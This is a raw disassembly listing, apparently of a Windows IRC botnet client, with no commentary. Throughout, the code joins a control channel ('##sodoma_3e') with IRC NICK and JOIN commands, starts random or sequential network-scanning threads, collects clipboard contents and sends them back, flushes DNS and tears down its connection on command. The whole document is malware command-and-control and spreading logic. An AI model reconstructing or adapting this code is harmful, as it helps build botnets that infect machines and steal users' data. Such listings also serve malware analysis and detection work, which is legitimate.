		mov	eax, [ebp+var_C0]
		lea	edi, [eax+1]
		cmp	edi, 20h
		jnb	loc_40FAB8
		lea	eax, [ebp+edi*4+var_94]
		mov	[ebp+arg_24], eax


loc_41473D:				; CODE XREF: sub_40F6F1+50BDj
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_40FAB8
		push	esi
		call	sub_41791F
		push	eax
		call	sub_416F93
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_414764
		push	offset dword_4356B8
		jmp	short loc_414769
; ---------------------------------------------------------------------------


loc_414764:				; CODE XREF: sub_40F6F1+506Aj
		push	offset dword_43567C


loc_414769:				; CODE XREF: sub_40F6F1+5071j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_414799
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40DC10
		add	esp, 14h


loc_414799:				; CODE XREF: sub_40F6F1+508Aj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_41473D
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_4147B5:				; CODE XREF: sub_40F6F1+1A96j
					; sub_40F6F1+1AADj
		cmp	[ebp+var_C], ebx
		jz	loc_415956
		push	edi
		push	[ebp+var_C]
		call	sub_417980
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_415956
		push	esi
		push	offset dword_425A78
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	esi
		push	offset dword_435654
		jmp	loc_413B21
; ---------------------------------------------------------------------------


loc_4147EC:				; CODE XREF: sub_40F6F1+1A68j
					; sub_40F6F1+1A7Fj
		push	edi
		push	offset dword_436138
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	edi
		push	offset dword_435624
		jmp	loc_413B21
; ---------------------------------------------------------------------------


loc_414805:				; CODE XREF: sub_40F6F1+1A3Aj
					; sub_40F6F1+1A51j
		push	[ebp+esi+var_8C]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	edi
		push	offset dword_4355F4
		jmp	loc_4139F5
; ---------------------------------------------------------------------------


loc_414825:				; CODE XREF: sub_40F6F1+1A0Cj
					; sub_40F6F1+1A23j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_40DBCA
		push	edi
		push	offset dword_4355C0
		jmp	loc_413B21
; ---------------------------------------------------------------------------


loc_41483E:				; CODE XREF: sub_40F6F1+19CFj
					; sub_40F6F1+19E6j
		mov	al, byte_42ED3A
		mov	[ebp+arg_24], ebx
		cmp	al, bl
		mov	edx, offset byte_42ED3A
		jz	loc_40FAB8
		mov	ecx, edx


loc_414855:				; CODE XREF: sub_40F6F1+516Cj
		inc	[ebp+arg_24]
		add	ecx, 0Bh
		cmp	[ecx], bl
		jnz	short loc_414855
		cmp	al, bl
		jz	loc_40FAB8
		mov	[ebp+arg_0], edx


loc_41486A:				; CODE XREF: sub_40F6F1+542Cj
		push	8
		call	sub_4170A0
		pop	ecx
		mov	ecx, eax
		mov	eax, 190h
		cdq
		idiv	[ebp+arg_24]
		add	eax, ecx
		cmp	eax, 3E8h
		jle	short loc_4148B7
		push	ecx
		lea	eax, [ebp+var_2DC]
		push	offset unk_436A90
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 20h
		jmp	loc_414B14
; ---------------------------------------------------------------------------


loc_4148B7:				; CODE XREF: sub_40F6F1+5193j
		or	[ebp+var_314], 0FFFFFFFFh
		cmp	dword_428BF8, ebx
		mov	[ebp+var_318], 0FAh
		mov	[ebp+var_32C], 5
		mov	[ebp+var_328], ebx
		mov	[ebp+arg_24], ebx
		jz	short loc_414924
		mov	esi, offset dword_428BF8


loc_4148E8:				; CODE XREF: sub_40F6F1+5215j
		mov	eax, [ebp+arg_0]
		add	eax, 0FFFFFFF6h
		push	eax
		lea	eax, [esi-28h]
		push	eax
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41490A
		inc	[ebp+arg_24]
		add	esi, 3Ch
		cmp	[esi], ebx
		jnz	short loc_4148E8
		jmp	short loc_414924
; ---------------------------------------------------------------------------


loc_41490A:				; CODE XREF: sub_40F6F1+520Bj
		mov	eax, [ebp+arg_24]
		mov	ecx, eax
		mov	[ebp+var_314], eax
		imul	ecx, 3Ch
		mov	ecx, dword_428BF8[ecx]
		mov	[ebp+var_330], ecx


loc_414924:				; CODE XREF: sub_40F6F1+51F0j
					; sub_40F6F1+5217j
		cmp	[ebp+var_330], ebx
		jz	loc_414B28
		push	10h
		lea	eax, [ebp+arg_18]
		pop	esi
		push	eax
		lea	eax, [ebp+var_2EC]
		push	eax
		push	edi
		mov	[ebp+arg_18], esi
		call	dword_44135C	; getsockname
		mov	al, [ebp+var_9C7]
		push	esi
		neg	al
		sbb	eax, eax
		and	ax, 100h
		add	eax, 0FFFFh
		and	[ebp+var_2E8], eax
		push	[ebp+var_2E8]
		call	dword_441444	; inet_ntoa
		push	eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_4182F0
		xor	eax, eax
		cmp	[ebp+var_9C7], bl
		push	30h
		setnz	al
		inc	eax
		inc	eax
		mov	esi, eax
		lea	eax, [ebp+var_444]
		push	eax
		call	sub_4185F0
		add	esp, 14h
		cmp	esi, ebx
		mov	byte ptr [ebp+arg_4+3],	bl
		jle	short loc_4149C4


loc_4149A2:				; CODE XREF: sub_40F6F1+52D1j
		cmp	eax, ebx
		jz	short loc_4149C4
		mov	byte ptr [eax],	78h
		lea	eax, [ebp+var_444]
		push	30h
		push	eax
		call	sub_4185F0
		inc	byte ptr [ebp+arg_4+3]
		pop	ecx
		pop	ecx
		movsx	ecx, byte ptr [ebp+arg_4+3]
		cmp	ecx, esi
		jl	short loc_4149A2


loc_4149C4:				; CODE XREF: sub_40F6F1+52AFj
					; sub_40F6F1+52B3j
		mov	eax, [ebp+var_4]
		push	[ebp+var_8C]
		mov	[ebp+var_30C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_308], eax
		mov	esi, 80h
		lea	eax, [ebp+var_434]
		push	esi
		push	eax
		mov	[ebp+var_304], 1
		mov	[ebp+var_334], edi
		call	sub_41792A
		push	offset byte_43C63C
		push	offset aSodoma_3e ; "##sodoma_3e"
		call	sub_4177D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_414A2B
		push	offset aSodoma_3e ; "##sodoma_3e"
		lea	eax, [ebp+var_3B4]
		push	esi
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		jmp	short loc_414A31
; ---------------------------------------------------------------------------


loc_414A2B:				; CODE XREF: sub_40F6F1+5321j
		mov	[ebp+var_3B4], bl


loc_414A31:				; CODE XREF: sub_40F6F1+5338j
		cmp	[ebp+var_304], ebx
		mov	eax, offset aRandom_0 ;	"Random"
		jnz	short loc_414A43
		mov	eax, offset aSequential	; "Sequential"


loc_414A43:				; CODE XREF: sub_40F6F1+534Bj
		push	[ebp+var_318]
		lea	ecx, [ebp+var_444]
		push	[ebp+var_328]
		push	[ebp+var_32C]
		push	[ebp+var_330]
		push	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435548
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	8
		push	eax
		call	sub_416E58
		add	esp, 2Ch
		mov	[ebp+var_324], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_444]
		push	ebx
		push	eax
		push	offset sub_4078E6
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_324]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414ACD


loc_414ABB:				; CODE XREF: sub_40F6F1+53DAj
		cmp	[ebp+var_300], ebx
		jnz	short loc_414AE8
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_414ABB
; ---------------------------------------------------------------------------


loc_414ACD:				; CODE XREF: sub_40F6F1+53C8j
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_43693C
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_414AE8:				; CODE XREF: sub_40F6F1+53D0j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414B07
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 14h


loc_414B07:				; CODE XREF: sub_40F6F1+53FAj
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		pop	ecx


loc_414B14:				; CODE XREF: sub_40F6F1+51C1j
		add	[ebp+arg_0], 0Bh
		mov	eax, [ebp+arg_0]
		cmp	[eax], bl
		jnz	loc_41486A
		jmp	loc_40FAB8
; ---------------------------------------------------------------------------


loc_414B28:				; CODE XREF: sub_40F6F1+5239j
		push	offset unk_436A4C
		jmp	loc_414FAD
; ---------------------------------------------------------------------------


loc_414B32:				; CODE XREF: sub_40F6F1+19A1j
					; sub_40F6F1+19B8j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_A4]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		push	offset unk_435510
		mov	[ebp+var_20], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		mov	[ebp+var_A8], edi
		call	sub_41792A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Eh
		push	eax
		call	sub_416E58
		add	esp, 24h
		mov	[ebp+var_24], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_A8]
		push	ebx
		push	eax
		push	offset sub_408FAC
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_24]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414BC5


loc_414BB2:				; CODE XREF: sub_40F6F1+54D2j
		cmp	[ebp+var_18], ebx
		jnz	loc_4157D0
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_414BB2
; ---------------------------------------------------------------------------


loc_414BC5:				; CODE XREF: sub_40F6F1+54BFj
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_4354C4
		jmp	loc_4157C1
; ---------------------------------------------------------------------------


loc_414BD6:				; CODE XREF: sub_40F6F1+1973j
					; sub_40F6F1+198Aj
		push	4
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_414BFA
		lea	eax, [ebp+var_2DC]
		push	offset unk_435498
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	loc_4158C0
; ---------------------------------------------------------------------------


loc_414BFA:				; CODE XREF: sub_40F6F1+54EFj
		mov	eax, [ebp+esi+var_90]
		cmp	eax, ebx
		jz	short loc_414C1C
		push	eax
		lea	eax, [ebp+var_7FC]
		push	104h
		push	eax
		call	sub_41792A
		add	esp, 0Ch
		jmp	short loc_414C2F
; ---------------------------------------------------------------------------


loc_414C1C:				; CODE XREF: sub_40F6F1+5512j
		lea	eax, [ebp+var_7FC]
		push	104h
		push	eax
		push	ebx
		nop
		call	near ptr 7C80B4CFh


loc_414C2F:				; CODE XREF: sub_40F6F1+5529j
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		jnz	short loc_414C3F
		mov	esi, offset byte_42EDC4


loc_414C3F:				; CODE XREF: sub_40F6F1+5547j
		push	esi
		lea	eax, [ebp+var_6F8]
		push	104h
		push	eax
		call	sub_41792A
		mov	eax, dword_42ECE4
		push	7Fh
		push	[ebp+var_8C]
		mov	[ebp+var_5EC], eax
		lea	eax, [ebp+var_5E8]
		mov	[ebp+var_5F0], ebx
		push	eax
		mov	[ebp+var_800], edi
		call	sub_4182F0
		mov	eax, [ebp+var_4]
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		lea	eax, [ebp+var_6F8]
		push	eax
		lea	eax, [ebp+var_7FC]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_5EC]
		push	offset unk_4292AC
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	4
		push	eax
		call	sub_416E58
		add	esp, 38h
		mov	[ebp+var_5F4], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_800]
		push	ebx
		push	eax
		push	offset sub_406B85
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_5F4]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414D10


loc_414CFA:				; CODE XREF: sub_40F6F1+561Dj
		cmp	[ebp+var_560], ebx
		jnz	loc_4158C0
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_414CFA
; ---------------------------------------------------------------------------


loc_414D10:				; CODE XREF: sub_40F6F1+5607j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_435450
		jmp	loc_4158B1
; ---------------------------------------------------------------------------


loc_414D21:				; CODE XREF: sub_40F6F1+1945j
					; sub_40F6F1+195Cj
		cmp	[ebp+esi+var_90], ebx
		jz	short loc_414D4A
		push	[ebp+esi+var_90]
		call	sub_41791F
		test	eax, eax
		pop	ecx
		jz	short loc_414D4A
		push	[ebp+esi+var_90]
		call	sub_41791F
		pop	ecx
		jmp	short loc_414D4F
; ---------------------------------------------------------------------------


loc_414D4A:				; CODE XREF: sub_40F6F1+5637j
					; sub_40F6F1+5648j
		mov	eax, dword_42ECE8


loc_414D4F:				; CODE XREF: sub_40F6F1+5657j
		mov	esi, [ebp+esi+var_8C]
		mov	[ebp+var_57C], eax
		xor	eax, eax
		cmp	[ebp+var_9C4], bl
		setz	al
		cmp	esi, ebx
		mov	[ebp+var_568], eax
		jz	short loc_414D82
		lea	eax, [ebp+var_680]
		push	esi
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx
		jmp	short loc_414DAD
; ---------------------------------------------------------------------------


loc_414D82:				; CODE XREF: sub_40F6F1+567Ej
		lea	eax, [ebp+var_3FC]
		push	104h
		push	eax
		nop
		call	near ptr 7C814EEAh
		push	ebx
		push	ebx
		lea	eax, [ebp+var_2E8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_3FC]
		push	eax
		call	sub_418AA8
		add	esp, 14h


loc_414DAD:				; CODE XREF: sub_40F6F1+568Fj
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AF0
		cmp	[ebp+eax+var_681], 5Ch
		pop	ecx
		jnz	short loc_414DD8
		lea	eax, [ebp+var_680]
		push	eax
		call	sub_417AF0
		pop	ecx
		mov	[ebp+eax+var_681], bl


loc_414DD8:				; CODE XREF: sub_40F6F1+56D1j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_908]
		mov	[ebp+var_90C], edi
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_8]
		mov	esi, [ebp+var_4]
		add	esp, 0Ch
		mov	[ebp+var_56C], eax
		lea	eax, [ebp+var_680]
		mov	[ebp+var_570], esi
		push	eax
		push	[ebp+var_57C]
		push	edi
		call	sub_40AFAB
		pop	ecx
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_429190
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	3
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	[ebp+var_574], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_90C]
		push	ebx
		push	eax
		push	offset sub_405A6A
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_574]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_414E89


loc_414E77:				; CODE XREF: sub_40F6F1+5796j
		cmp	[ebp+var_560], ebx
		jnz	short loc_414EA4
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_414E77
; ---------------------------------------------------------------------------


loc_414E89:				; CODE XREF: sub_40F6F1+5784j
		nop
		call	near ptr 7C910331h
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset unk_435408
		push	eax
		call	sub_4173AC
		add	esp, 0Ch


loc_414EA4:				; CODE XREF: sub_40F6F1+578Cj
		cmp	[ebp+var_8], ebx
		jnz	loc_4157D0
		push	ebx
		push	esi
		jmp	loc_414FC8
; ---------------------------------------------------------------------------


loc_414EB4:				; CODE XREF: sub_40F6F1+1917j
					; sub_40F6F1+192Ej
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_414EC7
		push	esi
		call	sub_41791F
		jmp	short loc_414ECE
; ---------------------------------------------------------------------------


loc_414EC7:				; CODE XREF: sub_40F6F1+57CCj
		push	8
		call	sub_4170BF


loc_414ECE:				; CODE XREF: sub_40F6F1+57D4j
		cmp	eax, ebx
		pop	ecx
		jz	loc_415956
		push	eax
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_407146


loc_414EE7:				; CODE XREF: sub_40F6F1+5C86j
		add	esp, 10h
		jmp	loc_415956
; ---------------------------------------------------------------------------


loc_414EEF:				; CODE XREF: sub_40F6F1+18E9j
					; sub_40F6F1+1900j
		mov	eax, dword_4412E0
		cmp	eax, ebx
		jz	short loc_414F0C
		call	eax	; DnsFlushResolverCache
		test	eax, eax
		jz	short loc_414F05
		push	offset unk_4353D4
		jmp	short loc_414F21
; ---------------------------------------------------------------------------


loc_414F05:				; CODE XREF: sub_40F6F1+580Bj
		push	offset unk_435398
		jmp	short loc_414F21
; ---------------------------------------------------------------------------


loc_414F0C:				; CODE XREF: sub_40F6F1+5805j
		push	offset unk_43535C
		jmp	short loc_414F21
; ---------------------------------------------------------------------------


loc_414F13:				; CODE XREF: sub_40F6F1+18BBj
					; sub_40F6F1+18D2j
		call	sub_40AECD
		test	eax, eax
		jz	short loc_414F37
		push	offset unk_435328


loc_414F21:				; CODE XREF: sub_40F6F1+5812j
					; sub_40F6F1+5819j ...
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41792A
		jmp	loc_4157F7
; ---------------------------------------------------------------------------


loc_414F37:				; CODE XREF: sub_40F6F1+5829j
		push	offset unk_4352EC
		jmp	short loc_414F21
; ---------------------------------------------------------------------------


loc_414F3E:				; CODE XREF: sub_40F6F1+188Dj
					; sub_40F6F1+18A4j
		cmp	[ebp+var_8], ebx
		jnz	short loc_414F5B
		push	ebx
		push	[ebp+var_4]
		push	offset aClipboardData ;	"-[Clipboard Data]-"
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 14h


loc_414F5B:				; CODE XREF: sub_40F6F1+5850j
		push	ebx
		push	[ebp+var_4]
		call	sub_40AA34
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		push	offset dword_4352AC
		jmp	loc_415250
; ---------------------------------------------------------------------------


loc_414F7B:				; CODE XREF: sub_40F6F1+179Cj
					; sub_40F6F1+17B3j
		push	7
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_414F8E
		push	offset dword_435274
		jmp	short loc_414FAD
; ---------------------------------------------------------------------------


loc_414F8E:				; CODE XREF: sub_40F6F1+5894j
		push	[ebp+var_8C]
		push	edi
		call	sub_40BA41
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_414FA8
		push	offset dword_43523C
		jmp	short loc_414FAD
; ---------------------------------------------------------------------------


loc_414FA8:				; CODE XREF: sub_40F6F1+58AEj
		push	offset dword_43520C


loc_414FAD:				; CODE XREF: sub_40F6F1+543Cj
					; sub_40F6F1+589Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4173AC
		pop	ecx
		pop	ecx


loc_414FBB:				; CODE XREF: sub_40F6F1+1619j
					; sub_40F6F1+1644j
		cmp	[ebp+var_8], ebx
		jnz	loc_4157D0
		push	ebx
		push	[ebp+var_4]


loc_414FC8:				; CODE XREF: sub_40F6F1+57BEj
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	edi


loc_414FD6:				; CODE XREF: sub_40F6F1+2B93j
					; sub_40F6F1+30FDj
		call	sub_40DC10
		add	esp, 14h
		jmp	loc_4157D0
; ---------------------------------------------------------------------------


loc_414FE3:				; CODE XREF: sub_40F6F1+176Ej
					; sub_40F6F1+1785j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_40A421
		jmp	loc_40FAB5
; ---------------------------------------------------------------------------


loc_414FFA:				; CODE XREF: sub_40F6F1+1740j
					; sub_40F6F1+1757j
		push	[ebp+esi+var_90]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_40D8B7
		jmp	loc_40FAB5
; ---------------------------------------------------------------------------


loc_415015:				; CODE XREF: sub_40F6F1+1712j
					; sub_40F6F1+1729j
		or	[ebp+arg_4], 0FFFFFFFFh
		nop
		call	near ptr 7C80929Ch
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		mov	[ebp+arg_0], eax
		jz	short loc_415040
		push	esi
		call	sub_41791F
		pop	ecx
		mov	[ebp+arg_4], eax


loc_415040:				; CODE XREF: sub_40F6F1+5943j
		mov	eax, [ebp+arg_0]
		xor	edx, edx
		mov	ecx, 15180h
		div	ecx
		cmp	eax, [ebp+arg_4]
		jnb	short loc_41505B
		cmp	[ebp+arg_4], 0FFFFFFFFh
		jnz	loc_415956


loc_41505B:				; CODE XREF: sub_40F6F1+595Ej
		push	ebx
		call	sub_40BBF6
		push	eax
		lea	eax, [ebp+var_2DC]
		push	offset dword_4351E4
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40C4F7
		jmp	loc_415953
; ---------------------------------------------------------------------------


loc_41509B:				; CODE XREF: sub_40F6F1+16E4j
					; sub_40F6F1+16FBj
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_408B8D
		lea	eax, [ebp+var_2DC]
		push	offset unk_4351B4
		push	eax
		call	sub_4173AC
		add	esp, 14h
		jmp	loc_4158C0
; ---------------------------------------------------------------------------


loc_4150C3:				; CODE XREF: sub_40F6F1+16B6j
					; sub_40F6F1+16CDj
		push	1Fh
		call	sub_4170A0
		test	eax, eax
		pop	ecx
		jle	short loc_4150ED
		cmp	[ebp+var_8], ebx
		jnz	loc_40FAB8
		push	ebx
		push	[ebp+var_4]
		push	offset unk_435180
		push	[ebp+var_8C]
		push	edi
		jmp	loc_410019
; ---------------------------------------------------------------------------


loc_4150ED:				; CODE XREF: sub_40F6F1+59DCj
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_4F4], edi
		mov	[ebp+var_464], eax
		mov	[ebp+var_46C], ebx
		jz	short loc_41514B
		push	esi
		push	offset aFull	; "full"
		call	sub_4177D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41514B
		mov	[ebp+var_46C], 1


loc_41514B:				; CODE XREF: sub_40F6F1+5A3Dj
					; sub_40F6F1+5A4Ej
		lea	eax, [ebp+var_2DC]
		push	offset dword_435148
		push	eax
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Fh
		push	eax
		call	sub_416E58
		add	esp, 14h
		mov	[ebp+var_470], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_4F4]
		push	ebx
		push	eax
		push	offset sub_415DC2
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_470]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_4151B9


loc_4151A3:				; CODE XREF: sub_40F6F1+5AC6j
		cmp	[ebp+var_460], ebx
		jnz	loc_4157D0
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_4151A3
; ---------------------------------------------------------------------------


loc_4151B9:				; CODE XREF: sub_40F6F1+5AB0j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset unk_4350F8
		jmp	loc_4157C1
; ---------------------------------------------------------------------------


loc_4151CA:				; CODE XREF: sub_40F6F1+1688j
					; sub_40F6F1+169Fj
		cmp	[ebp+var_8], ebx
		jnz	short loc_4151E7
		push	ebx
		push	[ebp+var_4]
		push	offset dword_4350D0
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		add	esp, 14h


loc_4151E7:				; CODE XREF: sub_40F6F1+5ADCj
		push	edi
		call	dword_441450	; closesocket
		call	dword_441318	; WSACleanup
		call	sub_40ABB7
		push	ebx
		nop
		call	near ptr 7C81CDDAh


loc_415200:				; CODE XREF: sub_40F6F1+165Aj
					; sub_40F6F1+1671j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	edi
		push	eax
		call	sub_40BDAD
		pop	ecx
		pop	ecx
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		push	offset dword_4350A8
		jmp	short loc_415250
; ---------------------------------------------------------------------------


loc_415227:				; CODE XREF: sub_40F6F1+1509j
					; sub_40F6F1+1520j
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	edi
		push	[ebp+arg_1C]
		push	eax
		call	sub_40C061
		add	esp, 0Ch
		push	eax
		push	[ebp+var_8C]
		push	edi
		call	sub_40DC10
		push	offset dword_435080


loc_415250:				; CODE XREF: sub_40F6F1+5885j
					; sub_40F6F1+5B34j
		call	sub_40C4F7
		jmp	loc_4139FA
; ---------------------------------------------------------------------------


loc_41525A:				; CODE XREF: sub_40F6F1+14DBj
					; sub_40F6F1+14F2j
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_40C597
		jmp	loc_40FAB5
; ---------------------------------------------------------------------------


loc_415271:				; CODE XREF: sub_40F6F1+14ADj
					; sub_40F6F1+14C4j
		cmp	[ebp+var_C], ebx
		mov	[ebp+var_388], bl
		jz	short loc_4152B0
		mov	esi, [ebp+esi+var_90]
		cmp	esi, ebx
		jz	short loc_4152B0
		push	esi
		push	[ebp+var_C]
		call	sub_417980
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_4152B0
		push	eax
		push	offset dword_42433C
		lea	eax, [ebp+var_388]
		push	80h
		push	eax
		call	sub_41792A
		add	esp, 10h


loc_4152B0:				; CODE XREF: sub_40F6F1+5B89j
					; sub_40F6F1+5B94j ...
		push	[ebp+var_8C]
		lea	eax, [ebp+var_408]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		push	offset dword_435058
		mov	[ebp+var_304], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_300], eax
		lea	eax, [ebp+var_2DC]
		push	eax
		mov	[ebp+var_40C], edi
		call	sub_4173AC
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	1Dh
		push	eax
		call	sub_416E58
		add	esp, 20h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_40C]
		push	ebx
		push	eax
		push	offset sub_40C609
		push	ebx
		push	ebx
		nop
		call	near ptr 7C810637h
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_446E24[ecx], eax
		jz	short loc_41534D


loc_415337:				; CODE XREF: sub_40F6F1+5C5Aj
		cmp	[ebp+var_2FC], ebx
		jnz	loc_40FAB8
		push	32h
		nop
		call	near ptr 7C802442h
		jmp	short loc_415337
; ---------------------------------------------------------------------------


loc_41534D:				; CODE XREF: sub_40F6F1+5C44j
		nop
		call	near ptr 7C910331h
		push	eax
		push	offset dword_435010
		jmp	loc_40FCA1
; ---------------------------------------------------------------------------


loc_41535E:				; CODE XREF: sub_40F6F1+147Fj
					; sub_40F6F1+1496j
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	edi
		call	sub_40C47F
		push	offset dword_434FE8
		call	sub_40C4F7
		jmp	loc_414EE7
; ---------------------------------------------------------------------------


loc_41537C:				; CODE XREF: sub_40F6F1+1451j
					; sub_40F6F1+1468j
		push	[ebp+var_8C]
		lea	eax, [ebp+var_4F0]
		push	80h
		push	eax
		call	sub_41792A
		mov	eax, [ebp+var_4]
		mov	esi, [ebp+esi+var_90]
		mov	[ebp+var_468], eax
		mov	eax, [ebp+var_8]
		add	esp, 0Ch
		cmp	esi, ebx
		mov	[ebp+var_4F4], edi
		mov	[ebp+var_464], eax
		jz	short loc_4153D3
		push	offset dword_434FE4
		push	esi
		call	sub_4177D0
		neg	eax
		sbb	eax, eax
		pop	ecx
		inc	eax
		pop	ecx
		mov	[ebp+var_46C], eax
		jmp	short loc_4153D9
; ---------------------------------------------------------------------------


loc_4153D3:				; CODE XREF: sub_40F6F1+5CC6j
